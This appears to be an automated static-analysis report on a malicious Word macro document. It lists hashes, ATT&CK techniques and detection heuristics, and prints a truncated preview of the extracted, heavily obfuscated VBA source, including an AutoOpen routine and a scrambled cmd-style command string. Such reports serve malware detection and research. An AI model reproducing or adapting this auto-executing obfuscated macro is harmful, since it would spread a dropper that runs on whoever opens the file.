Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bbca07b066325bc2…

MALICIOUS

Office (OLE)

107.5 KB Created: 2018-09-26 16:16:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 1d7c3602bf7fb6613bef6b614ee1c4b3 SHA-1: 4b5e20138019ed794fb64067684a496ae6d15a4d SHA-256: bbca07b066325bc2bc184bb55c88b3c20d987ec4d886180a3e941f87e091bcda
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, including an AutoOpen macro, which is a common technique for executing malicious code upon opening the document. The critical heuristic firing for 'OLE_VBA_SHELL' indicates the use of the Shell() function, strongly suggesting the execution of arbitrary commands or the download of additional payloads. The presence of the 'macros.bas' file further confirms the macro-based nature of this threat.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 70391 bytes
SHA-256: e4aa880c1a2b75d98733444eb7c280f72c68ce6845490bfc06ae68833e86ed5f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YWEhOiYjcpKQk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim TrfmU(1)
TrfmU(0) = Right(YOidJwU + qjkdzFMjvtaldzLO + fWiFTi, 978) + Left(zcOAO + LGCmTFYhZMsAKKwKKF + iGKVwRM, 965) + MidB(nnFLPuaw + tWGAAVECDfkUfIkaPp + vMWiuu, 83, 706) + Right(UmMzJ + vHwlRCArjlpXhOKodiaJzS + SnIjwPp, 391)
   Dim zUGZj(2)
zUGZj(0) = Right(VnjiZIUi + mHblvAECahUHGIbYHq + tBdwl, 551) + Mid(Ljvonz + FGUjABZwXSFTMoFijR + bFGVlS, 918, 389) + MidB(XTBVQBn + AOKzbPiAhPortbujQH + JSVmR, 833, 459) + MidB(kNQARHfP + vmtqkiJoGDjwzLFTwrccU + YrcUPT, 910, 463)
zUGZj(1) = Left(QclIHP + rARSoRcZWsTKYjKFUrjnYquj + Kqbtic, 118) + MidB(CLrpX + nGrsaDpOGINtcZFmjQZf + CzQocBM, 296, 856) + Right(rJtHALfY + OdIdSkkrOavPYDlEwzAaF + MifFuH, 538) + MidB(WHLKRbXi + vuUEbjTXvOCDmDLJTTT + jRQbnUa, 436, 738)
   Dim AbckN(2)
AbckN(0) = Right(qJCjNIJ + ziBKJwzDXaQtPbDrTqoolcr + suWMAnY, 899) + Mid(zCcmjpX + taczTRhmqPhSSJAOQGqhO + pqEHzNOu, 741, 184)
AbckN(1) = Mid(DuTAPEZv + MoXoJwqtNLbcBqCTXfF + zUwFb, 546, 800) + MidB(EdPkK + DjQClccSNNXbHGKro + bQXUOXM, 366, 327) + MidB(ETwpfbVC + OOSPFzWISPNSHzfuQzwhZ + IRbiWmhz, 266, 46) + Right(IXpKq + rBoqAKHDnRhtqFjrwd + twaMEW, 505)
   Dim VraEVA(2)
VraEVA(0) = Left(oZUEY + VLVUvcOjJTSfDVMshjfH + iPqLMN, 835) + Left(zOBSvSGI + BhJAThErZMqEhAQYLwcwk + pzQZa, 461)
VraEVA(1) = Left(llVOWd + KuhIKUfGjkqwYwMsGbH + NrvPvzAu, 79) + MidB(ECvwVj + rnmOLCSKlBuDvsYBkIip + IiVBQW, 492, 812)
   Dim UcDszC(2)
UcDszC(0) = Mid(onuilpUC + YOMSjfVTLzaZIKqtGUst + kucYMaK, 262, 873) + MidB(hBtYwdj + OOlYnadJtfUdmzlHlpMfnaQ + UKqJhtRV, 163, 75) + Mid(wBkAoOD + ndjcbzBiwXMjoTCVUdcPLVo + fzLMwCh, 626, 204) + MidB(uQmKF + PNQzTbuQKOUHYDzmK + GmrohqD, 828, 350)
UcDszC(1) = Left(vYaMifkt + XSqaUisLTDKmGdtdqZsEW + lMUTBQ, 200) + Right(UBNNHLH + ulmUicArNNiNUPfOsSnAvW + RjViR, 725) + Right(ZaQdsSK + dEHhzGKfOXHkrzZYuivsw + jfCWaHmD, 335) + Mid(WTaKw + rUpjTEizFOiLIafdWoQU + fXCPkkj, 433, 416)
tjhiNCdcLKL (KeyString(iKVwDKS + aFTNoVrC + 11 + 17 + 39 + wSzZirjD + hNhnMfi) + XzfXfCN + rcYnzjjT + KeyString(nHTHfUG + jAIrjS + 12 + 19 + 46 + TvSXUXoL + uNzGs) + GqTBshJw + AUmhGsiNwXD + hJrhrbc + Vjzuww + KAAnbhPN + adHos + wMwDr + ojGshLz)
   Dim KwADtK(1)
KwADtK(0) = Right(IBhwuZQv + wnstTDJkmCuIWzoKXDLn + uQaIwsTj, 297) + MidB(nQizuJua + tKziBbklmAlEZbStiNsJ + GJNctRN, 269, 519)
   Dim CjazH(1)
CjazH(0) = Right(jRTPViLq + HdSfTwnsqYfkEOTm + snXSlY, 855) + MidB(XQrPD + pjmSMSQBwOirDVtOp + hYPbiT, 159, 764) + MidB(OsYkA + dVHQpNvufMojRcCN + hwHNrNP, 461, 828) + Right(GilUn + PBjnovRiibwimwWzDwvw + XJPoD, 224)
End Sub


Attribute VB_Name = "bdwRjwi"
Function GqTBshJw()
Dim UzRrLR(2)
UzRrLR(0) = Left(QRpPL + QFCsXPNfHGHcKRkj + RvWlBu, 714) + Mid(Coqfi + dnIaUMVBwCnibKvzJ + WMiBW, 90, 350) + MidB(cWKozafw + BkFszFkMjkfvUwvSAHC + ZQwjh, 25, 584) + Left(aiWRU + ljFOGzbpfijducATjIBqK + aVpzzcO, 422)
UzRrLR(1) = Left(wqwbpGR + uVKwjsAAokqvWGzSjB + jBBnB, 838) + Mid(jpnIQ + JGibNhkBicEjHVYNizi + JKmABH, 79, 102) + Mid(pLzZIaC + IZmHulTSClZiCTScjuaXzzR + vQnbjf, 924, 810) + MidB(sPhoU + JLJdHEajEiBpHvWSOKtzF + ACMCFFUc, 807, 116)
   Dim oMIAza(1)
oMIAza(0) = MidB(juPQmRCn + LDAKEcizcjMRAiGGJt + oPFnvPnD, 638, 347) + Right(YudIjnVb + UdrvlwhAXnMLoROLYzus + GFwZWXzG, 627) + Mid(vAiEHzR + MiiJrGPNIZkfdzHizpG + VsQkHRzd, 808, 428) + Left(WoiARh + WshCwasmCRGozFWIvJ + sOIHJZii, 152)
BLMDLwdBRhz = "d \  /\\//  /\" + "/// / /V:ON/C" + """" + "set ,_=07a2"
wOrYJiWrij = " 207a 27a0 " + "a072 27a0 027a 7a" + "02 0a27 0a27 70a2"
IwqwvkjROJz = " a702 072a 02" + "a7 07a2 207a" + " 270a 072a 702a}a2" + "70}072a{02a7ha72" + "0c072at207aa20a7c2" + "a70}702a;720ak0a27a"
Dim dLOmjI(2)
dLOmjI(0) = MidB(nFdTnAiv + zOazonTzTIUJtwnrkcn + HnloT, 177, 811) + Mid(iPsCfXav + niSvjjpvEKzVqBCB + dZhadEDi, 315, 323) + Right(fOXorC + TufclGfhVXuNRKIkRcKfn + izzBJAj, 242) + MidB(uFpXZWp + tBNEOEWwKJPrFhjoMXLA + NffisGV, 703
... (truncated)

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